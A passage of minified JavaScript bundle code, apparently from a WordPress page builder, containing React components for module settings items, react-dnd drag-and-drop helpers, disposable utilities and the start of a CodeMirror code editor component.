g={title:a.a.oneOfType([a.a.element,a.a.string]).isRequired,_onMouseEnterItem:a.a.oneOfType([a.a.func,a.a.bool]),_onMouseLeaveItem:a.a.oneOfType([a.a.func,a.a.bool]),onToggleRightMenu:a.a.oneOfType([a.a.func,a.a.bool]),disableDuplicate:a.a.bool,disableDelete:a.a.bool,isGlobalPresetsMode:a.a.bool},v=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=m(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o._handleMouseEnter=function(){var e=o.props._onMouseEnterItem;e&&e(o)},o._handleMouseLeave=function(){var e=o.props._onMouseLeaveItem;e&&e(o)},m(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.Component),h(t,[{key:"UNSAFE_componentWillMount",value:function(){l()(this,"props.just_created")&&p.b.openModuleSettings(this)}},{key:"render",value:function(){var e={cursor:this.props.isGlobalPresetsMode?"default":"move",opacity:this.props.isDragging?0:1};return r.a.createElement("li",{className:"et-fb-settings-module-item",style:e,onMouseEnter:this._handleMouseEnter,onMouseLeave:this._handleMouseLeave},r.a.createElement(c.a,{buttonName:this.props.isGlobalPresetsMode?u.a.BUTTON_GLOBAL_PRESETS_CHILD_ITEM_EDIT:u.a.MODULE_ITEM_EDIT,editingModule:this,className:"et-fb-settings-module-item-button et-fb-settings-module-item-button--edit",small:!0,ink:!1},r.a.createElement(d.a,{icon:"setting",color:f.a.moduleItemControlIcons})),this.props.isGlobalPresetsMode||this.props.disableDuplicate?null:r.a.createElement(c.a,{buttonName:u.a.MODULE_ITEM_COPY,editingModule:this,className:"et-fb-settings-module-item-button et-fb-settings-module-item-button--copy",small:!0,ink:!1},r.a.createElement(d.a,{icon:"copy",color:f.a.moduleItemControlIcons})),this.props.isGlobalPresetsMode||this.props.disableDelete?null:r.a.createElement(c.a,{buttonName:u.a.MODULE_ITEM_DELETE,editingModule:this,className:"et-fb-settings-module-item-button et-fb-settings-module-item-button--delete",small:!0,ink:!1},r.a.createElement(d.a,{icon:"delete",color:f.a.moduleItemControlIcons})),r.a.createElement(c.a,{buttonName:u.a.TAB_BUTTON_MODULE_RIGHT_MENU,className:"et-fb-settings-module-item-button et-fb-settings-module-item-button--menu",__onClick:this.props.onToggleRightMenu,small:!0,needEvent:!0,ink:!1},r.a.createElement(d.a,{icon:"app-setting",color:f.a.moduleItemControlIcons,viewBox:"0 0 4 17",style:{height:14,width:3,minWidth:3,margin:"2px 0"}})),r.a.createElement("span",{className:"et-fb-settings-module-item-title"},this.props.title))}}]),t}();v.propTypes=g,v.defaultProps={_onMouseEnterItem:!1,_onMouseLeaveItem:!1,onOptionsHarmonyRightMenu:!1,disableDuplicate:!1,disableDelete:!1,isGlobalPresetsMode:!1},t.a=v},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o,r,i,a=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),s=n(1),l=n(4),u=(i=l)&&i.__esModule?i:{default:i},c=n(1307);var d=(r=o=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var o=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return o.backend=(0,c.unpackBackendForEs5Users)(e.backend),o}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,s.Component),a(t,[{key:"getChildContext",value:function(){var e=this;return(0,c.createChildContext)(this.backend,{window:e.props&&e.props.window?e.props.window:e.context&&e.context.window?e.context.window:"undefined"!=typeof window?window:void 0})}},{key:"render",value:function(){return s.Children.only(this.props.children)}}]),t}(),o.propTypes={backend:u.default.oneOfType([u.default.func,u.default.object]).isRequired,children:u.default.element.isRequired,window:u.default.object},o.defaultProps={window:void 0},o.childContextTypes=c.CHILD_CONTEXT_TYPES,o.displayName="DragDropContextProvider",o.contextTypes={window:u.default.object},r);t.default=d},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return h.default.apply(void 0,["DragLayer","collect[, options]"].concat(Array.prototype.slice.call(arguments))),(0,d.default)("function"==typeof e,'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ',"Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-layer.html",e),(0,d.default)((0,c.default)(t),'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-layer.html',t),function(n){var c,h,m=t.arePropsEqual,g=void 0===m?f.default:m,v=n.displayName||n.name||"Component",b=(h=c=function(t){function l(e,t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,l);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(l.__proto__||Object.getPrototypeOf(l)).call(this,e));return n.handleChange=n.handleChange.bind(n),n.manager=t.dragDropManager,(0,d.default)("object"===r(n.manager),"Could not find the drag and drop manager in the context of %s. Make sure to wrap the top-level component of your app with DragDropContext. Read more: http://react-dnd.github.io/react-dnd/docs-troubleshooting.html#could-not-find-the-drag-and-drop-manager-in-the-context",v,v),n.state=n.getCurrentState(),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(l,a.Component),i(l,[{key:"getDecoratedComponentInstance",value:function(){return(0,d.default)(this.child,"In order to access an instance of the decorated component it can not be a stateless component."),this.child}},{key:"shouldComponentUpdate",value:function(e,t){return!g(e,this.props)||!(0,p.default)(t,this.state)}}]),i(l,[{key:"componentDidMount",value:function(){this.isCurrentlyMounted=!0;var e=this.manager.getMonitor();this.unsubscribeFromOffsetChange=e.subscribeToOffsetChange(this.handleChange),this.unsubscribeFromStateChange=e.subscribeToStateChange(this.handleChange),this.handleChange()}},{key:"componentWillUnmount",value:function(){this.isCurrentlyMounted=!1,this.unsubscribeFromOffsetChange(),this.unsubscribeFromStateChange()}},{key:"handleChange",value:function(){if(this.isCurrentlyMounted){var e=this.getCurrentState();(0,p.default)(e,this.state)||this.setState(e)}}},{key:"getCurrentState",value:function(){var t=this.manager.getMonitor();return e(t)}},{key:"render",value:function(){var e=this;return s.default.createElement(n,o({},this.props,this.state,{ref:function(t){e.child=t}}))}}]),l}(),c.DecoratedComponent=n,c.displayName="DragLayer("+v+")",c.contextTypes={dragDropManager:l.default.object.isRequired},h);return(0,u.default)(b,n)}};var a=n(1),s=m(a),l=m(n(4)),u=m(n(819)),c=m(n(149)),d=m(n(1277)),p=m(n(1293)),f=m(n(1308)),h=m(n(1285));function m(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n){var p=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};i.default.apply(void 0,["DragSource","type, spec, collect[, options]"].concat(Array.prototype.slice.call(arguments)));var f=e;"function"!=typeof e&&((0,o.default)((0,d.default)(e),'Expected "type" provided as the first argument to DragSource to be a string, or a function that returns a string given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source.html',e),f=function(){return e});(0,o.default)((0,r.default)(t),'Expected "spec" provided as the second argument to DragSource to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source.html',t);var h=(0,l.default)(t);return(0,o.default)("function"==typeof n,'Expected "collect" provided as the third argument to DragSource to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source.html',n),(0,o.default)((0,r.default)(p),'Expected "options" provided as the fourth argument to DragSource to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source.html',n),function(e){return(0,a.default)({connectBackend:function(e,t){return e.connectDragSource(t)},containerDisplayName:"DragSource",createHandler:h,registerHandler:s.default,createMonitor:u.default,createConnector:c.default,DecoratedComponent:e,getType:f,collect:n,options:p})}};var o=p(n(1277)),r=p(n(149)),i=p(n(1285)),a=p(n(1309)),s=p(n(1367)),l=p(n(1368)),u=p(n(1369)),c=p(n(1370)),d=p(n(1312));function p(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var r=o(n(1294));t.isDisposable=r.default;var i=o(n(1364));t.Disposable=i.default;var a=o(n(1365));t.CompositeDisposable=a.default;var s=o(n(1366));t.SerialDisposable=s.default},function(e,t,n){"use strict";t.__esModule=!0;var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var r=function(){},i=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.isDisposed=!1,this.action=t||r}return o(e,null,[{key:"empty",value:{dispose:r},enumerable:!0}]),e.prototype.dispose=function(){this.isDisposed||(this.action.call(null),this.isDisposed=!0)},e}();t.default=i,e.exports=t.default},function(e,t,n){"use strict";t.__esModule=!0;var o,r=n(1294),i=(o=r)&&o.__esModule?o:{default:o},a=function(){function e(){for(var t=arguments.length,n=Array(t),o=0;o<t;o++)n[o]=arguments[o];!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),Array.isArray(n[0])&&1===n.length&&(n=n[0]);for(var r=0;r<n.length;r++)if(!i.default(n[r]))throw new Error("Expected a disposable");this.disposables=n,this.isDisposed=!1}return e.prototype.add=function(e){this.isDisposed?e.dispose():this.disposables.push(e)},e.prototype.remove=function(e){if(this.isDisposed)return!1;var t=this.disposables.indexOf(e);return-1!==t&&(this.disposables.splice(t,1),e.dispose(),!0)},e.prototype.dispose=function(){if(!this.isDisposed){for(var e=this.disposables.length,t=new Array(e),n=0;n<e;n++)t[n]=this.disposables[n];this.isDisposed=!0,this.disposables=[],this.length=0;for(n=0;n<e;n++)t[n].dispose()}},e}();t.default=a,e.exports=t.default},function(e,t,n){"use strict";t.__esModule=!0;var o,r=n(1294),i=(o=r)&&o.__esModule?o:{default:o},a=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.isDisposed=!1,this.current=null}return e.prototype.getDisposable=function(){return this.current},e.prototype.setDisposable=function(){var e=arguments.length<=0||void 0===arguments[0]?null:arguments[0];if(null!=e&&!i.default(e))throw new Error("Expected either an empty value or a valid disposable");var t=this.isDisposed,n=void 0;t||(n=this.current,this.current=e),n&&n.dispose(),t&&e&&e.dispose()},e.prototype.dispose=function(){if(!this.isDisposed){this.isDisposed=!0;var e=this.current;this.current=null,e&&e.dispose()}},e}();t.default=a,e.exports=t.default},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n){var o=n.getRegistry(),r=o.addSource(e,t);return{handlerId:r,unregister:function(){o.removeSource(r)}}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.default=function(e){Object.keys(e).forEach(function(t){(0,r.default)(a.indexOf(t)>-1,'Expected the drag source specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source.html',a.join(", "),t),(0,r.default)("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source.html",t,t,e[t])}),s.forEach(function(t){(0,r.default)("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source.html",t,t,e[t])});var t=function(){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),this.monitor=e,this.props=null,this.component=null}return o(t,[{key:"receiveProps",value:function(e){this.props=e}},{key:"receiveComponent",value:function(e){this.component=e}},{key:"canDrag",value:function(){return!e.canDrag||e.canDrag(this.props,this.monitor)}},{key:"isDragging",value:function(t,n){return e.isDragging?e.isDragging(this.props,this.monitor):n===t.getSourceId()}},{key:"beginDrag",value:function(){var t=e.beginDrag(this.props,this.monitor,this.component);return t}},{key:"endDrag",value:function(){e.endDrag&&e.endDrag(this.props,this.monitor,this.component)}}]),t}();return function(e){return new t(e)}};var r=i(n(1277));i(n(149));function i(e){return e&&e.__esModule?e:{default:e}}var a=["canDrag","beginDrag","isDragging","endDrag"],s=["beginDrag"]},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.default=function(e){return new u(e)};var r,i=n(1277),a=(r=i)&&r.__esModule?r:{default:r};var s=!1,l=!1,u=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.internalMonitor=t.getMonitor()}return o(e,[{key:"receiveHandlerId",value:function(e){this.sourceId=e}},{key:"canDrag",value:function(){(0,a.default)(!s,"You may not call monitor.canDrag() inside your canDrag() implementation. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source-monitor.html");try{return s=!0,this.internalMonitor.canDragSource(this.sourceId)}finally{s=!1}}},{key:"isDragging",value:function(){(0,a.default)(!l,"You may not call monitor.isDragging() inside your isDragging() implementation. Read more: http://react-dnd.github.io/react-dnd/docs-drag-source-monitor.html");try{return l=!0,this.internalMonitor.isDraggingSource(this.sourceId)}finally{l=!1}}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}]),e}()},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=void 0,n=void 0,i=void 0,a=void 0,s=void 0,l=void 0,u=void 0;function c(){a&&(a(),a=null),t&&n&&(a=e.connectDragSource(t,n,i))}function d(){u&&(u(),u=null),t&&s&&(u=e.connectDragPreview(t,s,l))}return{receiveHandlerId:function(e){if(e===t)return;t=e,c(),d()},hooks:(0,o.default)({dragSource:function(e,t){e===n&&(0,r.default)(t,i)||(n=e,i=t,c())},dragPreview:function(e,t){e===s&&(0,r.default)(t,l)||(s=e,l=t,d())}})}};var o=i(n(1310)),r=i(n(1311));function i(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){var n=e.ref;if((0,i.default)("string"!=typeof n,"Cannot connect React DnD to an element with an existing string ref. Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute"),!n)return(0,a.cloneElement)(e,{ref:t});return(0,a.cloneElement)(e,{ref:function(e){t(e),n&&n(e)}})};var o,r=n(1277),i=(o=r)&&o.__esModule?o:{default:o},a=n(1)},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n){var p=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};i.default.apply(void 0,["DropTarget","type, spec, collect[, options]"].concat(Array.prototype.slice.call(arguments)));var f=e;"function"!=typeof e&&((0,o.default)((0,d.default)(e,!0),'Expected "type" provided as the first argument to DropTarget to be a string, an array of strings, or a function that returns either given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drop-target.html',e),f=function(){return e});(0,o.default)((0,r.default)(t),'Expected "spec" provided as the second argument to DropTarget to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drop-target.html',t);var h=(0,l.default)(t);return(0,o.default)("function"==typeof n,'Expected "collect" provided as the third argument to DropTarget to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drop-target.html',n),(0,o.default)((0,r.default)(p),'Expected "options" provided as the fourth argument to DropTarget to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs-drop-target.html',n),function(e){return(0,a.default)({connectBackend:function(e,t){return e.connectDropTarget(t)},containerDisplayName:"DropTarget",createHandler:h,registerHandler:s.default,createMonitor:u.default,createConnector:c.default,DecoratedComponent:e,getType:f,collect:n,options:p})}};var o=p(n(1277)),r=p(n(149)),i=p(n(1285)),a=p(n(1309)),s=p(n(1373)),l=p(n(1374)),u=p(n(1375)),c=p(n(1376)),d=p(n(1312));function p(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n){var o=n.getRegistry(),r=o.addTarget(e,t);return{handlerId:r,unregister:function(){o.removeTarget(r)}}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.default=function(e){Object.keys(e).forEach(function(t){(0,r.default)(a.indexOf(t)>-1,'Expected the drop target specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs-drop-target.html',a.join(", "),t),(0,r.default)("function"==typeof e[t],"Expected %s in the drop target specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs-drop-target.html",t,t,e[t])});var t=function(){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),this.monitor=e,this.props=null,this.component=null}return o(t,[{key:"receiveProps",value:function(e){this.props=e}},{key:"receiveMonitor",value:function(e){this.monitor=e}},{key:"receiveComponent",value:function(e){this.component=e}},{key:"canDrop",value:function(){return!e.canDrop||e.canDrop(this.props,this.monitor)}},{key:"hover",value:function(){e.hover&&e.hover(this.props,this.monitor,this.component)}},{key:"drop",value:function(){if(e.drop){var t=e.drop(this.props,this.monitor,this.component);return t}}}]),t}();return function(e){return new t(e)}};var r=i(n(1277));i(n(149));function i(e){return e&&e.__esModule?e:{default:e}}var a=["canDrop","hover","drop"]},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.default=function(e){return new l(e)};var r,i=n(1277),a=(r=i)&&r.__esModule?r:{default:r};var s=!1,l=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.internalMonitor=t.getMonitor()}return o(e,[{key:"receiveHandlerId",value:function(e){this.targetId=e}},{key:"canDrop",value:function(){(0,a.default)(!s,"You may not call monitor.canDrop() inside your canDrop() implementation. Read more: http://react-dnd.github.io/react-dnd/docs-drop-target-monitor.html");try{return s=!0,this.internalMonitor.canDropOnTarget(this.targetId)}finally{s=!1}}},{key:"isOver",value:function(e){return this.internalMonitor.isOverTarget(this.targetId,e)}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}]),e}()},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=void 0,n=void 0,i=void 0,a=void 0;function s(){a&&(a(),a=null),t&&n&&(a=e.connectDropTarget(t,n,i))}return{receiveHandlerId:function(e){if(e===t)return;t=e,s()},hooks:(0,o.default)({dropTarget:function(e,t){e===n&&(0,r.default)(t,i)||(n=e,i=t,s())}})}};var o=i(n(1310)),r=i(n(1311));function i(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(72),l=n(35),u=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var c=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.PureComponent),u(t,[{key:"render",value:function(){var e=this.props.dynamic.attribute;return e.loading?this.props.renderLoading(this.props.type):this.props.children(e.value,e.dynamic)}}]),t}();c.propTypes={type:a.a.oneOf(["text","image"]),attributes:a.a.object.isRequired,attribute:a.a.string.isRequired,value:a.a.oneOfType([a.a.string,a.a.number]),renderLoading:a.a.func,children:a.a.func},c.defaultProps={type:"text",value:void 0,renderLoading:l.l,children:function(e,t){return t?Object(l.k)(e):e}},t.a=Object(s.b)(function(e){return{attribute:{attribute:e.attribute,value:e.value}}},function(e){return e.attributes})(c)},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";var o=n(730),r=n.n(o);t.a=r()({SORTABLE_LIST_LINK_SETTINGS_CLOSE:null,SORTABLE_LIST_LINK_SETTINGS_SAVE:null})},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){var o=n(111)("add",n(400));o.placeholder=n(103),e.exports=o},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1394),r=n(1),i=n.n(r),a=n(4),s=n.n(a),l=n(46),u=n.n(l),c=n(8),d=n.n(c),p=n(49),f=n.n(p),h=n(7),m=n.n(h),g=n(82),v=n.n(g),b=n(52),y=n.n(b),_=n(2),k=n.n(_),w=n(47),C=n.n(w),E=n(31),O=n.n(E),S=n(10),T=n.n(S),M=n(11),x=n.n(M),P=n(286),j=n.n(P),L=(n(1395),n(1296),n(1396),n(1399),n(1400),n(1401),n(1403),n(1316),n(1404),n(1405),n(1406),n(1295),n(1407),n(1318),n(1408),n(1409),n(1410),n(1411),n(162)),N=n(1412),D=n(0),A=(n(12),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),F=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function I(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var R={update:100,completion:500,lint:2e3},B={common:{keyMap:"sublime",autofocus:!1,cursorBlinkRate:0,viewportMargin:1/0,theme:"et",styleActiveLine:!0,matchBrackets:!0,autoCloseBrackets:!0,autoCloseTags:!0,lineWrapping:!0,lineNumbers:!0,indentUnit:2,tabSize:2},modes:{css:{mode:{name:"css",inline:!0},colorpicker:{mode:"edit"},lineBreakPlaceholder:/\|\||<!-- \[et_pb_line_break_holder\] -->/},html:{mode:{name:"htmlmixed"},colorpicker:{mode:"edit"},matchTags:{bothTags:!0},lineBreakPlaceholder:/<!-- \[et_pb_line_break_holder\] -->/}}},W={line:0,ch:0},V={ignoreKeys:[13,37,39],prefix:{css:/[A-z-]/,default:/[A-z]/},tokens:{xml:["attribute","tag"]}},H=function(e){var t=k()(e,e.is_fb_content?"content":"value");return t===e.default?"":t},G=function(e){e.hideCompletion(),e.hideColorPicker()},U=new(function(){function e(){I(this,e),this.instances=[],this.listener=!1,this.$window=D.default.$appWindow(),this.onScroll=this.onScroll.bind(this)}return F(e,[{key:"add",value:function(e){this.instances.push(e),this.check()}},{key:"remove",value:function(e){j()(this.instances,e),this.check()}},{key:"onScroll",value:function(){x()(this.instances,G)}},{key:"check",value:function(){this.instances.length>0?this.listener||(this.$window.on("wheel scroll",this.onScroll),this.listener=!0):this.listener&&(this.$window.off("wheel scroll",this.onScroll),this.listener=!1)}}]),e}()),z=Object(D.isIEOrEdge)()?e("body")[0]:{scrollTop:0};var q=function(t){function n(e){I(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));t.editor=!1,t.dirty=!1,t.markers=[],t.mode=k()(e,"mode","css"),t.options=A({},B.common,k()(B.modes,t.mode,{}),{readOnly:k()(e,"readonly",!1)}),O()(t.options,"mode.inline")&&O()(e,"inline")&&(t.options.mode.inline=e.inline),t.completion=k()(V.prefix,t.mode,V.prefix.default),t.onChange=t.onChange.bind(t),t.onClick=t.onClick.bind(t),t.onKeyUp=t.onKeyUp.bind(t),t.onKeyDown=t.onKeyDown.bind(t),t._onFocus=t._onFocus.bind(t),t._onBlur=t._onBlur.bind(t),t.onBeforeChange=t.onBeforeChange.bind(t),t.editorDidMount=t.editorDidMount.bind(t),t.debouncedShowCompletion=y()(t.showCompletion,R.completion),t.debouncedUpdateSettings=y()(t.updateSettings,R.update),t.incrementalKey=0;var o=t.addLineBreaks(H(e)),r=t.addLineBreaks(t.props.default);return t.state={value:o,default:r,enabled:!d()(o)||!d()(r),focused:!1},t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,i.a.Component),F(n,[{key:"componentDidMount",value:function(){U.add(this)}},{key:"UNSAFE_componentWillReceiveProps",value:function(e){var t=this.addLineBreaks(H(e));if(this.state.enabled||d()(t)&&d()(this.state.default)||this.enableEditor(),this.state.value!==t||e.activeTabMode!==this.props.activeTabMode){var n=this.addLineBreaks(e.default);this.setState({default:n}),this.dirty||(this.incrementalKey++,this.setValue(t))}}},{key:"componentDidUpdate",value:function(){if(this.editor){var 